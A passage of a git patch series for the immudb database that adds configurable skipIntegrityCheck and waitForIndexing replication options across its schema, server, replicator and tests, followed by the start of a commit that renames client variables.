immudb.schema.TxScanRequest + 57, // 174: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest + 47, // 175: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest + 134, // 176: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty + 134, // 177: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty + 134, // 178: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty + 52, // 179: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest + 53, // 180: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest + 54, // 181: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest + 58, // 182: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest + 56, // 183: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest + 67, // 184: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database + 68, // 185: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings + 69, // 186: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest + 86, // 187: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest + 88, // 188: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest + 90, // 189: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest + 134, // 190: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty + 103, // 191: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 + 67, // 192: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database + 68, // 193: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings + 71, // 194: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest + 134, // 195: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty + 73, // 196: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest + 92, // 197: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest + 134, // 198: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty + 42, // 199: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest + 106, // 200: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk + 46, // 201: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 106, // 202: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk + 25, // 203: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest + 56, // 204: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest + 57, // 205: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest + 106, // 206: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk + 65, // 207: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest + 106, // 208: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk + 108, // 209: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest + 109, // 210: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest + 134, // 211: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty + 94, // 212: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table + 96, // 213: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest + 122, // 214: immudb.schema.ImmuService.TruncateDatabase:input_type -> immudb.schema.TruncateDatabaseRequest + 6, // 215: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList + 134, // 216: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty + 134, // 217: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty + 134, // 218: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty + 134, // 219: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty + 134, // 220: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty + 134, // 221: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty + 15, // 222: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse + 134, // 223: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty + 134, // 224: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty + 118, // 225: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse + 112, // 226: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx + 134, // 227: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty + 134, // 228: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty + 113, // 229: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult + 11, // 230: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse + 134, // 231: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty + 29, // 232: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader + 38, // 233: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx + 18, // 234: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry + 39, // 235: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry + 29, // 236: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader + 22, // 237: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries + 29, // 238: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader + 22, // 239: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries + 27, // 240: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount + 27, // 241: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount + 34, // 242: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx + 38, // 243: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx + 64, // 244: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList + 22, // 245: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries + 48, // 246: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse + 49, // 247: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse + 50, // 248: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse + 51, // 249: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState + 29, // 250: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader + 38, // 251: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx + 29, // 252: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader + 38, // 253: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx + 24, // 254: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries + 134, // 255: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty + 134, // 256: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty + 70, // 257: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse + 87, // 258: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse + 89, // 259: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse + 91, // 260: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse + 102, // 261: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse + 104, // 262: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 + 99, // 263: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply + 134, // 264: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty + 72, // 265: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse + 68, // 266: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings + 74, // 267: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse + 93, // 268: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse + 134, // 269: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty + 106, // 270: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk + 29, // 271: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader + 106, // 272: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk + 38, // 273: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx + 106, // 274: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk + 106, // 275: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk + 106, // 276: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk + 29, // 277: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader + 106, // 278: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk + 29, // 279: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader + 111, // 280: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult + 113, // 281: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult + 113, // 282: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult + 113, // 283: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult + 98, // 284: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry + 123, // 285: immudb.schema.ImmuService.TruncateDatabase:output_type -> immudb.schema.TruncateDatabaseResponse + 215, // [215:286] is the sub-list for method output_type + 144, // [144:215] is the sub-list for method input_type + 144, // [144:144] is the sub-list for extension type_name + 144, // [144:144] is the sub-list for extension extendee + 0, // [0:144] is the sub-list for field type_name } func init() { file_schema_proto_init() } diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index 2406a3b167..1e5cf38f63 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -1073,7 +1073,13 @@ message ReplicationNullableSettings { NullableUint32 replicationCommitConcurrency = 10; // Allow precommitted transactions to be discarded if the replica diverges from the primary - NullableBool AllowTxDiscarding = 11; + NullableBool allowTxDiscarding = 11; + + // Disable integrity check when reading data during replication + NullableBool skipIntegrityCheck = 12; + + // Wait for indexing to be up to date during replication + NullableBool waitForIndexing = 13; } message TruncationNullableSettings { diff --git a/pkg/api/schema/schema.swagger.json b/pkg/api/schema/schema.swagger.json index 38f91344bb..d321399ebe 100644 --- a/pkg/api/schema/schema.swagger.json +++ b/pkg/api/schema/schema.swagger.json @@ -3063,9 +3063,17 @@ "$ref": "#/definitions/schemaNullableUint32", "title": "Number of concurrent replications" }, - "AllowTxDiscarding": { + "allowTxDiscarding": { "$ref": "#/definitions/schemaNullableBool", "title": "Allow precommitted transactions to be discarded if the replica diverges from the primary" + }, + "skipIntegrityCheck": { + "$ref": "#/definitions/schemaNullableBool", + "title": "Disable integrity check when reading data during replication" + }, + "waitForIndexing": { + "$ref": "#/definitions/schemaNullableBool", + "title": "Wait for indexing to be up to date during replication" } } }, diff --git a/pkg/database/database.go b/pkg/database/database.go index 6a644664fc..aee7a10eb5 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -123,7 +123,7 @@ type DB interface { TxByID(ctx context.Context, req *schema.TxRequest) (*schema.Tx, error) ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txbs []byte, mayCommitUpToTxID uint64, mayCommitUpToAlh [sha256.Size]byte, err error) - ReplicateTx(ctx context.Context, exportedTx []byte) (*schema.TxHeader, error) + ReplicateTx(ctx context.Context, exportedTx []byte, skipIntegrityCheck bool, waitForIndexing bool) (*schema.TxHeader, error) AllowCommitUpto(txID uint64, alh [sha256.Size]byte) error DiscardPrecommittedTxsSince(txID uint64) error @@ -1311,7 +1311,7 @@ func (d *db) ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txb return txbs, mayCommitUpToTxID, mayCommitUpToAlh, nil } -func (d *db) ReplicateTx(ctx context.Context, exportedTx []byte) (*schema.TxHeader, error) { +func (d *db) ReplicateTx(ctx context.Context, exportedTx []byte, skipIntegrityCheck bool, waitForIndexing bool) (*schema.TxHeader, error) { d.mutex.RLock() defer d.mutex.RUnlock() @@ -1319,7 +1319,7 @@ func (d *db) ReplicateTx(ctx context.Context, exportedTx []byte) (*schema.TxHead return nil, ErrNotReplica } - hdr, err := d.st.ReplicateTx(ctx, exportedTx, true, false) + hdr, err := d.st.ReplicateTx(ctx, exportedTx, skipIntegrityCheck, waitForIndexing) if err != nil { return nil, err } diff --git a/pkg/integration/stream/stream_replication_test.go b/pkg/integration/stream/stream_replication_test.go index 3aa32bbe8c..2fe2758039 100644 --- a/pkg/integration/stream/stream_replication_test.go +++ b/pkg/integration/stream/stream_replication_test.go @@ -19,6 +19,7 @@ package integration import ( "context" "io" + "strconv" "testing" "github.com/codenotary/immudb/pkg/api/schema" @@ -73,7 +74,11 @@ func TestImmuClient_ExportAndReplicateTx(t *testing.T) { txmd, err := client.Set(ctx, []byte("key1"), []byte("value1")) require.NoError(t, err) - rmd := metadata.Pairs("authorization", replicatedMD.Token) + rmd := metadata.Pairs( + "authorization", replicatedMD.Token, + "skip-integrity-check", strconv.FormatBool(false), + "wait-for-indexing", strconv.FormatBool(false), + ) rctx := metadata.NewOutgoingContext(context.Background(), rmd) for i := uint64(1); i <= 2; i++ { diff --git a/pkg/replication/options.go b/pkg/replication/options.go index 825d52b615..9c0a3f5552 100644 --- a/pkg/replication/options.go +++ b/pkg/replication/options.go @@ -22,6 +22,8 @@ const DefaultChunkSize int = 64 * 1024 // 64 * 1024 64 KiB const DefaultPrefetchTxBufferSize int = 100 const DefaultReplicationCommitConcurrency int = 10 const DefaultAllowTxDiscarding = false +const DefaultSkipIntegrityCheck = false +const DefaultWaitForIndexing = false type Options struct { primaryDatabase string @@ -35,7 +37,9 @@ type Options struct { prefetchTxBufferSize int replicationCommitConcurrency int - allowTxDiscarding bool + allowTxDiscarding bool + skipIntegrityCheck bool + waitForIndexing bool delayer Delayer } @@ -54,6 +58,8 @@ func DefaultOptions() *Options { prefetchTxBufferSize: DefaultPrefetchTxBufferSize, replicationCommitConcurrency: DefaultReplicationCommitConcurrency, allowTxDiscarding: DefaultAllowTxDiscarding, + skipIntegrityCheck: DefaultSkipIntegrityCheck, + waitForIndexing: DefaultWaitForIndexing, } } @@ -119,6 +125,18 @@ func (o *Options) WithAllowTxDiscarding(allowTxDiscarding bool) *Options { return o } +// WithSkipIntegrityCheck disable integrity checks when reading data during replication +func (o *Options) WithSkipIntegrityCheck(skipIntegrityCheck bool) *Options { + o.skipIntegrityCheck = skipIntegrityCheck + return o +} + +// WithWaitForIndexing wait for indexing to be up to date during replication +func (o *Options) WithWaitForIndexing(waitForIndexing bool) *Options { + o.waitForIndexing = waitForIndexing + return o +} + // WithDelayer sets delayer used to pause re-attempts func (o *Options) WithDelayer(delayer Delayer) *Options { o.delayer = delayer diff --git a/pkg/replication/options_test.go b/pkg/replication/options_test.go index d5038b360f..56ffc48ce9 100644 --- a/pkg/replication/options_test.go +++ b/pkg/replication/options_test.go @@ -43,6 +43,8 @@ func TestOptions(t *testing.T) { WithPrefetchTxBufferSize(DefaultPrefetchTxBufferSize). WithReplicationCommitConcurrency(DefaultReplicationCommitConcurrency). WithAllowTxDiscarding(true). + WithSkipIntegrityCheck(true). + WithWaitForIndexing(true). WithDelayer(delayer) require.Equal(t, "defaultdb", opts.primaryDatabase) @@ -54,6 +56,8 @@ func TestOptions(t *testing.T) { require.Equal(t, DefaultPrefetchTxBufferSize, opts.prefetchTxBufferSize) require.Equal(t, DefaultReplicationCommitConcurrency, opts.replicationCommitConcurrency) require.True(t, opts.allowTxDiscarding) + require.True(t, opts.skipIntegrityCheck) + require.True(t, opts.waitForIndexing) require.Equal(t, delayer, opts.delayer) require.True(t, opts.Valid()) diff --git a/pkg/replication/replicator.go b/pkg/replication/replicator.go index f789ed139c..0ea13e7d65 100644 --- a/pkg/replication/replicator.go +++ b/pkg/replication/replicator.go @@ -69,7 +69,9 @@ type TxReplicator struct { prefetchTxBuffer chan prefetchTxEntry // buffered channel of exported txs replicationConcurrency int - allowTxDiscarding bool + allowTxDiscarding bool + skipIntegrityCheck bool + waitForIndexing bool delayer Delayer consecutiveFailures int @@ -96,6 +98,8 @@ func NewTxReplicator(uuid xid.ID, db database.DB, opts *Options, logger logger.L prefetchTxBuffer: make(chan prefetchTxEntry, opts.prefetchTxBufferSize), replicationConcurrency: opts.replicationCommitConcurrency, allowTxDiscarding: opts.allowTxDiscarding, + skipIntegrityCheck: opts.skipIntegrityCheck, + waitForIndexing: opts.waitForIndexing, delayer: opts.delayer, metrics: metricsForDb(db.GetName()), }, nil @@ -203,7 +207,7 @@ func (txr *TxReplicator) replicateSingleTx(data []byte) bool { // replication must be retried as many times as necessary for { - _, err := txr.db.ReplicateTx(txr.context, data) + _, err := txr.db.ReplicateTx(txr.context, data, txr.skipIntegrityCheck, txr.waitForIndexing) if err == nil { break // transaction successfully replicated } @@ -331,7 +335,7 @@ func (txr *TxReplicator) fetchNextTx() error { Tx: nextTx, ReplicaState: state, AllowPreCommitted: syncReplicationEnabled, - SkipIntegrityCheck: true, + SkipIntegrityCheck: txr.skipIntegrityCheck, }) if err != nil { return err diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index 34d6dc1d68..aa3dfa3820 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -204,7 +204,7 @@ func (db *closedDB) ExportTxByID(ctx context.Context, req *schema.ExportTxReques return nil, 0, mayCommitUpToAlh, store.ErrAlreadyClosed } -func (db *closedDB) ReplicateTx(ctx context.Context, exportedTx []byte) (*schema.TxHeader, error) { +func (db *closedDB) ReplicateTx(ctx context.Context, exportedTx []byte, skipIntegrityCheck bool, waitForIndexing bool) (*schema.TxHeader, error) { return nil, store.ErrAlreadyClosed } diff --git a/pkg/server/db_dummy_closed_test.go b/pkg/server/db_dummy_closed_test.go index 17cac16808..9291802c8b 100644 --- a/pkg/server/db_dummy_closed_test.go +++ b/pkg/server/db_dummy_closed_test.go @@ -145,7 +145,7 @@ func TestDummyClosedDatabase(t *testing.T) { _, _, _, err = cdb.ExportTxByID(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.ReplicateTx(context.Background(), nil) + _, err = cdb.ReplicateTx(context.Background(), nil, false, false) require.ErrorIs(t, err, store.ErrAlreadyClosed) err = cdb.AllowCommitUpto(1, sha256.Sum256(nil)) diff --git a/pkg/server/db_options.go b/pkg/server/db_options.go index d3ceda7824..bb5a000350 100644 --- a/pkg/server/db_options.go +++ b/pkg/server/db_options.go @@ -50,6 +50,8 @@ type dbOptions struct { PrefetchTxBufferSize int `json:"prefetchTxBufferSize"` ReplicationCommitConcurrency int `json:"replicationCommitConcurrency"` AllowTxDiscarding bool `json:"allowTxDiscarding"` + SkipIntegrityCheck bool `json:"skipIntegrityCheck"` + WaitForIndexing bool `json:"waitForIndexing"` // store options FileSize int `json:"fileSize"` // permanent @@ -182,6 +184,7 @@ func (s *ImmuServer) defaultDBOptions(dbName string) *dbOptions { dbOpts.PrefetchTxBufferSize = repOpts.PrefetchTxBufferSize dbOpts.ReplicationCommitConcurrency = repOpts.ReplicationCommitConcurrency dbOpts.AllowTxDiscarding = repOpts.AllowTxDiscarding + dbOpts.SkipIntegrityCheck = repOpts.SkipIntegrityCheck } else { dbOpts.SyncAcks = repOpts.SyncAcks } @@ -302,6 +305,8 @@ func (opts *dbOptions) databaseNullableSettings() *schema.DatabaseNullableSettin PrefetchTxBufferSize: &schema.NullableUint32{Value: uint32(opts.PrefetchTxBufferSize)}, ReplicationCommitConcurrency: &schema.NullableUint32{Value: uint32(opts.ReplicationCommitConcurrency)}, AllowTxDiscarding: &schema.NullableBool{Value: opts.AllowTxDiscarding}, + SkipIntegrityCheck: &schema.NullableBool{Value: opts.SkipIntegrityCheck}, + WaitForIndexing: &schema.NullableBool{Value: opts.WaitForIndexing}, }, SyncFrequency: &schema.NullableMilliseconds{Value: int64(opts.SyncFrequency)}, @@ -499,6 +504,12 @@ func (s *ImmuServer) overwriteWith(opts *dbOptions, settings *schema.DatabaseNul if rs.AllowTxDiscarding != nil { opts.AllowTxDiscarding = rs.AllowTxDiscarding.Value } + if rs.SkipIntegrityCheck != nil { + opts.SkipIntegrityCheck = rs.SkipIntegrityCheck.Value + } + if rs.WaitForIndexing != nil { + opts.WaitForIndexing = rs.WaitForIndexing.Value + } } // store options @@ -734,6 +745,18 @@ func (opts *dbOptions) Validate() error { ErrIllegalArguments, opts.Database) } + if opts.SkipIntegrityCheck { + return fmt.Errorf( + "%w: invalid value for replication option SkipIntegrityCheck on primary database '%s'", + ErrIllegalArguments, opts.Database) + } + + if opts.WaitForIndexing { + return fmt.Errorf( + "%w: invalid value for replication option WaitForIndexing on primary database '%s'", + ErrIllegalArguments, opts.Database) + } + if opts.SyncReplication && opts.SyncAcks == 0 { return fmt.Errorf( "%w: invalid replication options for primary database '%s'. It is necessary to have at least one sync replica", @@ -852,6 +875,8 @@ func (s *ImmuServer) logDBOptions(database string, opts *dbOptions) { s.Logger.Infof("%s.PrefetchTxBufferSize: %v", database, opts.PrefetchTxBufferSize) s.Logger.Infof("%s.ReplicationCommitConcurrency: %v", database, opts.ReplicationCommitConcurrency) s.Logger.Infof("%s.AllowTxDiscarding: %v", database, opts.AllowTxDiscarding) + s.Logger.Infof("%s.SkipIntegrityCheck: %v", database, opts.SkipIntegrityCheck) + s.Logger.Infof("%s.WaitForIndexing: %v", database, opts.WaitForIndexing) s.Logger.Infof("%s.FileSize: %v", database, opts.FileSize) s.Logger.Infof("%s.MaxKeyLen: %v", database, opts.MaxKeyLen) s.Logger.Infof("%s.MaxValueLen: %v", database, opts.MaxValueLen) diff --git a/pkg/server/options.go b/pkg/server/options.go index 54a54fa8f6..62376c9e5b 100644 --- a/pkg/server/options.go +++ b/pkg/server/options.go @@ -94,6 +94,8 @@ type ReplicationOptions struct { PrefetchTxBufferSize int // only if IsReplica ReplicationCommitConcurrency int // only if IsReplica AllowTxDiscarding bool // only if IsReplica + SkipIntegrityCheck bool // only if IsReplica + WaitForIndexing bool // only if IsReplica } // DefaultOptions returns default server options @@ -538,3 +540,13 @@ func (opts *ReplicationOptions) WithAllowTxDiscarding(allowTxDiscarding bool) *R opts.AllowTxDiscarding = allowTxDiscarding return opts } + +func (opts *ReplicationOptions) WithSkipIntegrityCheck(skipIntegrityCheck bool) *ReplicationOptions { + opts.SkipIntegrityCheck = skipIntegrityCheck + return opts +} + +func (opts *ReplicationOptions) WithWaitForIndexing(waitForIndexingç bool) *ReplicationOptions { + opts.WaitForIndexing = waitForIndexingç + return opts +} diff --git a/pkg/server/options_test.go b/pkg/server/options_test.go index b90d334459..8ea605e70a 100644 --- a/pkg/server/options_test.go +++ b/pkg/server/options_test.go @@ -72,7 +72,9 @@ func TestReplicationOptions(t *testing.T) { WithPrimaryPassword("primary-pwd"). WithPrefetchTxBufferSize(100). WithReplicationCommitConcurrency(5). - WithAllowTxDiscarding(true) + WithAllowTxDiscarding(true). + WithSkipIntegrityCheck(true). + WithWaitForIndexing(true) require.True(t, repOpts.IsReplica) require.False(t, repOpts.SyncReplication) @@ -84,6 +86,8 @@ func TestReplicationOptions(t *testing.T) { require.Equal(t, 100, repOpts.PrefetchTxBufferSize) require.Equal(t, 5, repOpts.ReplicationCommitConcurrency) require.True(t, repOpts.AllowTxDiscarding) + require.True(t, repOpts.SkipIntegrityCheck) + require.True(t, repOpts.WaitForIndexing) // primary-related settings repOpts. diff --git a/pkg/server/server.go b/pkg/server/server.go index 4e5c11180c..49bb0faa13 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -656,6 +656,8 @@ func (s *ImmuServer) startReplicationFor(db database.DB, dbOpts *dbOptions) erro WithPrefetchTxBufferSize(dbOpts.PrefetchTxBufferSize). WithReplicationCommitConcurrency(dbOpts.ReplicationCommitConcurrency). WithAllowTxDiscarding(dbOpts.AllowTxDiscarding). + WithSkipIntegrityCheck(dbOpts.SkipIntegrityCheck). + WithWaitForIndexing(dbOpts.WaitForIndexing). WithStreamChunkSize(s.Options.StreamChunkSize) f, err := replication.NewTxReplicator(s.UUID, db, replicatorOpts, s.Logger) diff --git a/pkg/server/stream_replication.go b/pkg/server/stream_replication.go index ccc43ec78d..e091d265ae 100644 --- a/pkg/server/stream_replication.go +++ b/pkg/server/stream_replication.go @@ -19,6 +19,7 @@ package server import ( "bytes" "encoding/binary" + "strconv" "github.com/codenotary/immudb/pkg/api/schema" "google.golang.org/grpc/metadata" @@ -80,7 +81,9 @@ func (s *ImmuServer) ReplicateTx(replicateTxServer schema.ImmuService_ReplicateT return ErrIllegalArguments } - db, err := s.getDBFromCtx(replicateTxServer.Context(), "ReplicateTx") + ctx := replicateTxServer.Context() + + db, err := s.getDBFromCtx(ctx, "ReplicateTx") if err != nil { return err } @@ -89,6 +92,26 @@ func (s *ImmuServer) ReplicateTx(replicateTxServer schema.ImmuService_ReplicateT return ErrReplicationInProgress } + var skipIntegrityCheck bool + var waitForIndexing bool + + md, ok := metadata.FromIncomingContext(ctx) + if ok { + if len(md.Get("skip-integrity-check")) > 0 { + skipIntegrityCheck, err = strconv.ParseBool(md.Get("skip-integrity-check")[0]) + if err != nil { + return err + } + } + + if len(md.Get("wait-for-indexing")) > 0 { + waitForIndexing, err = strconv.ParseBool(md.Get("wait-for-indexing")[0]) + if err != nil { + return err + } + } + } + receiver := s.StreamServiceFactory.NewMsgReceiver(replicateTxServer) bs, err := receiver.ReadFully() @@ -96,10 +119,10 @@ func (s *ImmuServer) ReplicateTx(replicateTxServer schema.ImmuService_ReplicateT return err } - md, err := db.ReplicateTx(replicateTxServer.Context(), bs) + hdr, err := db.ReplicateTx(replicateTxServer.Context(), bs, skipIntegrityCheck, waitForIndexing) if err != nil { return err } - return replicateTxServer.SendAndClose(md) + return replicateTxServer.SendAndClose(hdr) } From c26aad1667b4c77d6a65e113bf7874cc6a80b6d4 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 31 Jan 2023 12:08:34 -0300 Subject: [PATCH 0203/1062] test(pkg/integration): move towards session-based auth in replication test cases Signed-off-by: Jeronimo Irazabal --- pkg/client/client.go | 18 ++--- pkg/integration/client_test.go | 10 +-- .../stream/stream_replication_test.go | 67 +++++++++---------- pkg/server/server_test.go | 4 +- 4 files changed, 49 insertions(+), 50 deletions(-) diff --git a/pkg/client/client.go b/pkg/client/client.go index ba399e0da1..d5e6076e9d 100644 --- a/pkg/client/client.go +++ b/pkg/client/client.go @@ -1255,16 +1255,16 @@ func (c *immuClient) set(ctx context.Context, key []byte, md *schema.KVMetadata, return nil, errors.FromError(ErrNotConnected) } - txmd, err := c.ServiceClient.Set(ctx, &schema.SetRequest{KVs: []*schema.KeyValue{{Key: key, Metadata: md, Value: value}}}) + hdr, err := c.ServiceClient.Set(ctx, &schema.SetRequest{KVs: []*schema.KeyValue{{Key: key, Metadata: md, Value: value}}}) if err != nil { return nil, err } - if int(txmd.Nentries) != 1 { + if int(hdr.Nentries) != 1 { return nil, store.ErrCorruptedData } - return txmd, nil + return hdr, nil } // VerifiedSet commits a change of a value for a single key. @@ -1409,16 +1409,16 @@ func (c *immuClient) SetAll(ctx context.Context, req *schema.SetRequest) (*schem return nil, errors.FromError(ErrNotConnected) } - txmd, err := c.ServiceClient.Set(ctx, req) + hdr, err := c.ServiceClient.Set(ctx, req) if err != nil { return nil, err } - if int(txmd.Nentries) != len(req.KVs) { + if int(hdr.Nentries) != len(req.KVs) { return nil, store.ErrCorruptedData } - return txmd, nil + return hdr, nil } // ExecAll performs multiple write operations (values, references, sorted set entries) @@ -1786,7 +1786,7 @@ func (c *immuClient) ZAddAt(ctx context.Context, set []byte, score float64, key start := time.Now() defer c.Logger.Debugf("zadd finished in %s", time.Since(start)) - txmd, err := c.ServiceClient.ZAdd(ctx, &schema.ZAddRequest{ + hdr, err := c.ServiceClient.ZAdd(ctx, &schema.ZAddRequest{ Set: set, Score: score, Key: key, @@ -1797,11 +1797,11 @@ func (c *immuClient) ZAddAt(ctx context.Context, set []byte, score float64, key return nil, err } - if int(txmd.Nentries) != 1 { + if int(hdr.Nentries) != 1 { return nil, store.ErrCorruptedData } - return txmd, nil + return hdr, nil } // VerifiedZAdd adds a new entry to sorted set. diff --git a/pkg/integration/client_test.go b/pkg/integration/client_test.go index 4534b5334e..16297ad04f 100644 --- a/pkg/integration/client_test.go +++ b/pkg/integration/client_test.go @@ -233,14 +233,14 @@ func testVerifiedZAddAt(ctx context.Context, t *testing.T, set []byte, scores [] } func testGet(ctx context.Context, t *testing.T, client ic.ImmuClient) { - txmd, err := client.VerifiedSet(ctx, 